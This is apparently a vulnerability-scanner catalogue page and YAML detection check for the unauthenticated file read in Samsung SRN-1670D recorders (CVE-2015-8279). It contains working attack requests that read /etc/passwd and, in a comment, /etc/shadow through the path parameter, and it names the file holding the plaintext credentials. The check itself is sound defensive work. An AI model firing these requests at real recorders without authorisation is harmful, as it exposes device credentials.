Samsung Srn — 1 vulnerability check

noctis ships 1 vulnerability check for Samsung Srn, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Samsung SRN-1670D Web Viewer cslog_export.php Arbitrary File Read

CVECVE-2015-8279
Severityhigh · CVSS 8.6
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/samsung-srn/CVE-2015-8279.yaml

Tests the Web Viewer of Samsung (Hanwha Techwin) SRN-1670D network video recorders for the unauthenticated arbitrary file read in the undocumented page /cslog_export.php (Web Viewer 1.0.0.193; the device is end of life and no fix exists). The feed requests the page with its path parameter set to /etc/passwd; the content of /etc/passwd in the reply confirms the file read. A control request for an absent random file through the same parameter must not return any passwd line, so a server that serves the same content on every request is not reported. Only the world-readable /etc/passwd is read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET /cslog_export.php?path=/etc/passwd&file=passwd
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /cslog_export.php?path=/etc/passwd.noctis-absent-{{oob_token}}&file=passwd
  5. Checks ctrl_r.body for (?m)(?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:
  6. Checks proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Samsung SRN-1670D Web Viewer cslog_export.php Arbitrary File Read (CVE-2015-8279)

References:

Feed source — tests/vulnerabilities/samsung-srn/CVE-2015-8279.yaml
# Samsung SRN-1670D Web Viewer cslog_export.php arbitrary file read — CVE-2015-8279
#
# Web Viewer 1.0.0.193 on the Samsung (Hanwha Techwin) SRN-1670D NVR ships an
# undocumented page, /cslog_export.php, that returns the file named by its
# `path` GET parameter without authentication (Emaze advisory, VU#913000):
#   GET /cslog_export.php?path=/etc/shadow
# The device is end of life; Hanwha will not release a fix.
#
# Detection (benign, read-only): GET /cslog_export.php?path=/etc/passwd&file=passwd
# and match the CONTENT of /etc/passwd. The source NASL sends path=/etc/passwd
# alone; the Metasploit module also sends a `file` parameter (most likely the
# download name), so the feed sends both in case the page requires it. QoD 75 (response analysis). The path is an absolute
# file name in the query string, which http_request sends verbatim.
# Only the world-readable /etc/passwd is read — never /etc/shadow or the
# Web Viewer credential file /root/php_modules/lighttpd/sbin/userpw.
#
# Improvements over the source NASL:
#   - A control request (same parameter, absent random file whose name still
#     contains "etc/passwd") must come back WITHOUT a passwd line; a blanket
#     responder or a honeypot keying a fake passwd on the substring is not
#     reported (fail-closed: no control reply → no finding).
#   - The NASL needs its SRN product detection first; the feed probes the fixed
#     page directly, so a box hiding its Web Viewer banner is still tested.
#   - A uid-0 passwd line is accepted at the start of a line or right after an
#     HTML tag; the account name (unless "root"), password field and gecos are
#     redacted before they reach the finding.
#
# CVEs: the NASL lists CVE-2015-8279, CVE-2015-8280 (user enumeration through
# /login error messages), CVE-2015-8281 (weak firmware encryption) and
# CVE-2017-16524 (authenticated upload in network_ssl_upload.php). This request
# proves the unauthenticated file read (CVE-2015-8279) only, so the feed does
# not name the others. CVSS: CVE-2015-8279 v3.0 8.6 (NVD,
# AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
#
# Ported from OpenVAS/Greenbone NVT 2017/samsung/gb_samsung_srn_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.140510, GPL-2.0-only). Request also matches the
# Metasploit module exploit/linux/http/samsung_srv_1670d_upload_exec.
uid: 2845a1ae-8f30-4c89-bd3a-e8ad8adc4f26
name: "Samsung SRN-1670D Web Viewer cslog_export.php Arbitrary File Read (CVE-2015-8279)"
description: |
  Tests the Web Viewer of Samsung (Hanwha Techwin) SRN-1670D network video
  recorders for the unauthenticated arbitrary file read in the undocumented
  page /cslog_export.php (Web Viewer 1.0.0.193; the device is end of life and
  no fix exists). The feed requests the page with its path parameter set to
  /etc/passwd; the content of /etc/passwd in the reply confirms the file read.
  A control request for an absent random file through the same parameter must
  not return any passwd line, so a server that serves the same content on every
  request is not reported. Only the world-readable /etc/passwd is read. The
  account name (unless root), password field and gecos of the uid-0 line are
  redacted from the evidence.
cves: [CVE-2015-8279]
cvss: 8.6
severity: high
category: file-read
confidence_base: 0.30
tags: [samsung, hanwha, srn-1670d, nvr, web-viewer, file-read, lfi, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-8279"
  - "https://kb.cert.org/vuls/id/913000"
  - "http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html"
  - "https://www.rapid7.com/db/modules/exploit/linux/http/samsung_srv_1670d_upload_exec"
  # OpenVAS/Greenbone NASL 2017/samsung/gb_samsung_srn_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Pre-initialise every value read later (undefined vars abort/skip) ────
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Read /etc/passwd through the path parameter ──────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "/cslog_export.php?path=/etc/passwd&file=passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: proof

  # ── Control: same parameter, absent random file — must NOT carry a passwd
  # line. The absent name still contains "etc/passwd", so a honeypot that
  # keys a fake file on that substring answers it too.
  - id: control
    action: http_request
    method: GET
    path: "/cslog_export.php?path=/etc/passwd.noctis-absent-{{oob_token}}&file=passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'proof != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?m)(?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:"
    condition: 'proof != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ──────────────────────────
  - id: report-passwd
    action: match
    source: proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Samsung SRN-1670D Web Viewer cslog_export.php Arbitrary File Read (CVE-2015-8279)"
        description: "An unauthenticated GET to /cslog_export.php with path=/etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The same page reads any other file the web server can read, including the file holding the Web Viewer credentials in clear text."
        remediation: "The SRN-1670D is end of life and no fixed Web Viewer firmware exists: replace the recorder with a supported model, and until then keep its web interface off untrusted networks and restrict access to it with a firewall."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET /cslog_export.php?path=/etc/passwd&file=passwd returned /etc/passwd; control for an absent file returned no passwd line ({{proof}})"
      stop: true

View these feeds on GitHub